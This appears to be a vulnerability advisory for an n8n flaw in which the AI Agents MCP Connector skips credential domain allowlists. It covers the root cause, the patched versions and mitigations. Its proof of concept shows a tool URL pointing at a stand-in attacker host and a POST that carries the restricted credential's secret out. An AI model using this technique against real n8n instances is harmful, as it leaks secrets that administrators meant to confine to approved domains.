highCVE-2026-59207Jul 22, 2026

CVE-2026-59207: n8n AI Agents MCP Connector Allowed HTTP Request Domains Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A member-level n8n user with access to a domain-restricted credential can route that credential's secret to any server they control by pointing an AI Agents MCP tool at an arbitrary URL, completely…

Packagen8n
Ecosystemnpm
Affected>= 2.28.0, < 2.28.1
Fixed in2.28.1

The problem

n8n lets administrators lock a credential to specific domains via 'Allowed HTTP Request Domains'. That guard was enforced on the HTTP Request node but was never wired into the AI Agents MCP Connector code path.

Any member-level user who was granted use-only access to such a credential could exploit this gap. They configure an MCP tool in an AI Agent workflow that points at a server they control, run the agent, and the n8n server faithfully attaches the restricted credential's secret to the outbound request.

Proof of concept

A working proof-of-concept for CVE-2026-59207 in n8n, with the exact payload below.

bash
# 1. Member user creates or edits a workflow using the AI Agent node.
# 2. They add an MCP Client tool and set the URL to their attacker-controlled server.
#    The credential with domain restrictions (e.g., only allowed to contact api.internal.corp)
#    is selected in the credential picker (use-only access is enough).
#
# Example MCP tool URL set inside the AI Agent node configuration:
url: https://attacker.example.com/collect

# 3. Member user runs the workflow / triggers the agent.
# n8n issues:
POST https://attacker.example.com/collect
Authorization: Bearer <secret_from_restricted_credential>
# (or X-Api-Key / Basic Auth header, depending on credential type)
#
# The allowedDomains check is never consulted for the Agents MCP path,
# so the request succeeds and the secret is exfiltrated.

The root cause is a missing enforcement point (CWE-693, Protection Mechanism Failure). The 'Allowed HTTP Request Domains' check existed in the core HTTP Request node execution layer but was not applied when the Agents module resolved and attached credentials for outbound MCP tool calls.

Because the agent code path constructed and dispatched HTTP requests independently, it never invoked the domain-validation logic that would have blocked the request.

The patch in 2.27.4 and 2.28.1 adds the same domain-allowlist check to the Agents MCP Connector execution path, mirroring what the HTTP Request node already enforced. After the fix, if the target URL's hostname is not in the credential's allowed-domains list, n8n raises an error before the request is dispatched.

The fix

Upgrade n8n to version 2.28.1 (or 2.27.4 on the 2.27.x line). If an immediate upgrade is not possible: remove 'agents' from N8N_ENABLED_MODULES to disable the AI Agents feature entirely, and audit all credentials that have domain restrictions set to confirm they have not been shared with untrusted member-level users.

Reported by Jubke.

References: [1][2][3][4][5]

Related research